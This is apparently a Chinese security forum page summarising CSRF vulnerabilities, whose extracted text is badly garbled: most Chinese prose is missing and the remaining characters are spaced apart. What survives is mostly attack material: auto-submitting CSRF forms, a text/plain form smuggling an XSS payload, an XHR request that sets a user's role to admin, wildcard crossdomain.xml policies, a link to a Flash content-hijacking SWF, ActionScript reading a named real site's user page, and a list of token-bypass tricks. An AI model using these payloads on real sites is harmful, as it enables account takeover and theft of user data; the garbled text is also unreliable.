[18869] 2019-06-07_CSRF漏洞总结

文档创建者:s7ckTeam
浏览次数:9
最后更新:2025-01-18
2019-06-07_CSRF漏洞总结 C S R F c r h u a   h u a s e c   2 0 1 9 - 0 6 - 0 7   e v e r y o n e 0 1 1 2 3 4 5 6 0 2 ( 1 )   G E T G E T C S R F H T T P ( 2 )   P O S T P O S T t o k e n r e f e r e r C S R F t o k e n r e f e r e r C S R F 使 p o c : P O S T x m l P O C P O S T j s o n P O C < i m g   s r c = h t t p : / / w w w . h u a s e c . c o m / c s r f ? x x = 1 1   / >   < h t m l >         < b o d y >                   < f o r m   n a m e = " p x "   m e t h o d = " p o s t "   a c t i o n = " h t t p : / / w w w . h u a s e c . c o m / a d d f a n s " >                         < i n p u t   t y p e = " t e x t "   n a m e = " u s e r _ i d "   v a l u e = " 1 1 1 1 " >                 < / f o r m >                 < s c r i p t >                   d o c u m e n t . p x . s u b m i t ( ) ;   < / s c r i p t >           < / b o d y >   < / h t m l > < h t m l >             < b o d y >                   < f o r m   E N C T Y P E   = " t e x t / p l a i n "   a c t i o n   = " h t t p : / / w w w . h u a s e c . c o m / s n i p p e t . p h p "   m e t h o d = " p o s t " >                       < i n p u t   t y p e   = " h i d d e n "   n a m e = " p a r a m "     v a l u e = " < f o o > < h t m l   x m l n s   h t m l = ' h t t p / / w w w . w 3 . o r g / 1 9 9 9 / x h t m l ' >   < h t m l : s c r i p t > a l e r t ( 1 ) ; < / h t m l : s c r i p t > < / h t m l > < / f o o > " >                       < i n p u t   t y p e   = " s u b m i t "   n a m e = " s u b m i t " >                   < / f o r m >             < / b o d y >   < / h t m l > < s c r i p t >     v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( ) ;     x h r . o p e n ( " P O S T " ,   " h t t p : / / w w w . h u a s e c . c o m / a p i / s e t r o l e " ) ;     x h r . w i t h C r e d e n t i a l s   =   t r u e ;     x h r . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   " a p p l i c a t i o n / j s o n ; c h a r s e t = U T F - 8 " ) ;     x h r . s e n d ( ' { " r o l e " : a d m i n } ' ) ; < / s c r i p t >
( 3 )   F l a s h   F l a s h   C S R F C r o s s d o m a i n . x m l 使 s w f 1 c r o s s d o m a i n . x m l 2 c r o s s d o m a i n . x m l A S W F B   u s e r i n f o   S W F   B   c r o s s d o m a i n . x m l   访   c r o s s d o m a i n . x m l   c r o s s d o m a i n . x m l     A 访   A S W F 使 F l a s h c r o s s d o m a i n . x m l   1 c r o s s d o m a i n . x m l 1 . 2 . P o C P o C 使 2 f l a s h c r o s s d o m a i n . x m l < ? x m l   v e r s i o n = " 1 . 0 " ? > < c r o s s - d o m a i n - p o l i c y >     < a l l o w - a c c e s s - f r o m   d o m a i n = " * "   / > < / c r o s s - d o m a i n - p o l i c y > h t t p s : / / g i t h u b . c o m / n c c g r o u p / C r o s s S i t e C o n t e n t H i j a c k i n g / r a w / m a s t e r / C o n t e n t H i j a c k i n g / o b j e c t s / C o n t e n t H i j a c k i n g . s w f < ? x m l   v e r s i o n = " 1 . 0 " ? >
u r l h t t p : / / i . i q i y i . c o m / h o m e ? l e f t t i t l e s i g n = p e r c e n t e r P O C 0 3 B y p a s s 1 .   c s r f   t o k e n 2 .   c s r f   t o k e n 3 .   P O S T G E T 4 .   使 t o k e n t o k e n 5 .   使 t o k e n 6 .   t o k e n     t o k e n [ ] = 0 4   c s r f   " X S S C S R F   ( C S R F + J S O N ) " P D F < ? x m l   v e r s i o n = " 1 . 0 " ? > < c r o s s - d o m a i n - p o l i c y >       < s i t e - c o n t r o l   p e r m i t t e d - c r o s s - d o m a i n - p o l i c i e s = " a l l "   / >         < a l l o w - a c c e s s - f r o m   d o m a i n = " * "   / >           < a l l o w - h t t p - r e q u e s t - h e a d e r s - f r o m   d o m a i n = " * "   h e a d e r s = " * " / > < / c r o s s - d o m a i n - p o l i c y > p e r m i t t e d - c r o s s - d o m a i n - p o l i c i e s a l l   J P G a l l o w - a c c e s s - f r o m   * f l a s h a l l o w - h t t p - r e q u e s t - h e a d e r s - f r o m   h e a d e r *     i m p o r t   f l a s h . n e t . * ; v a r   m y t e s t : S t r i n g   =   " h e l l o " ; v a r   m y l o a d e r   =   n e w   U R L L o a d e r ( n e w   U R L R e q u e s t ( " h t t p : / / i . i q i y i . c o m / h o m e ? l e f t t i t l e s i g n = p e r c e n t e r " ) ) ; m y l o a d e r . a d d E v e n t L i s t e n e r ( E v e n t . C O M P L E T E , t e s t ) ; m y l o a d e r . l o a d ( ) ; f u n c t i o n   t e s t ( e v e n t : E v e n t ) { v a r   R e s p o n s e T e x t : S t r i n g   =   m y l o a d e r . d a t a ; t e x t 1 . t e x t   =   R e s p o n s e T e x t ; s t o p ( ) ; }
h t t p s : / / g h 0 s t . c n / a r c h i v e s / 2 0 1 8 - 0 3 - 2 2 / 1 h t t p s : / / s h u i m u g a n . c o m
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则